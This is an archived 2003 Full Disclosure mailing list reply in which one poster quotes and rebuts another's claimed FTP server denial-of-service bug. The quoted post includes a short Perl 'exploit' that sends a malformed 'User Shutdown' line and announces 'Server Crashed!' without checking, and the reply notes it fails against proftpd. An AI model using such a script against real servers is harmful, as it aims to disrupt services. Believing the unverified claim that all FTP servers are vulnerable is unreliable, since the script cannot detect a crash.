Full Disclosure mailing list archives
Re: FTPServer Denial Of Service Vulnerability
From: "Andreas Gietl" <a.gietl () e-admin de>
Date: Mon, 18 Aug 2003 16:52:19 +0200
"Florian Rock" <florianrock () web de> wrote: it does not crash proftpd.... and your code is really bad. it just waits a second and then says the server has crashed without any checks - it just sees whether it can send your "exploit" code .....
I have found a very serious hole in FTPServer The Exploit is tested on Cerberus FTP Server 1.71 and a own coded, but I
think
all FTPServer are Vulnerable Sorry but i have to less ftpserver to test And so it Works Typical request: 00000000 55 73 65 72 20 53 68 75 74 64 6f 77 6e 0d 0a User Shutdown.. Exploit request: 00000000 0d 0a 55 73 65 72 20 53 68 75 74 64 6f 77 6e ..User Shutdown I've coded an exploit: See attached file: ftpcrash.exe (ziped) for people how have no perl My exploit (in perl): [code] -ftpcrash.pl- print "Exploit for FTP-Server\n"; print " by The real Remoter\n"; my $usage = "\nftpcrash <IP> <Port>\n"; die "$usage" unless $ARGV[0] && $ARGV[1]; use Socket; my $remote = $ARGV[0]; my $port = $ARGV[1]; my $iaddr = inet_aton($remote); my $proto = getprotobyname("tcp"); my $paddr = sockaddr_in($port, $iaddr); socket(SOCK, PF_INET, SOCK_STREAM, $proto); connect(SOCK, $paddr) or die "Can't connect to " . $remote; print "Sending exploit\n"; $msg = "\x0d\x0a"; $msg = $msg . "User Shutdown"; send(SOCK,$msg, 0) or die "Can't send Exploit"; sleep(1); print "Server Crashed!"; sleep(1); exit; [/code] Sorry for my bad english (I'm german)
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Current thread:
- FTPServer Denial Of Service Vulnerability Florian Rock (Aug 18)
- Re: FTPServer Denial Of Service Vulnerability Andreas Gietl (Aug 18)
- RE: FTPServer Denial Of Service Vulnerability Aditya [Aditya Lalit Desgmukh] (Aug 20)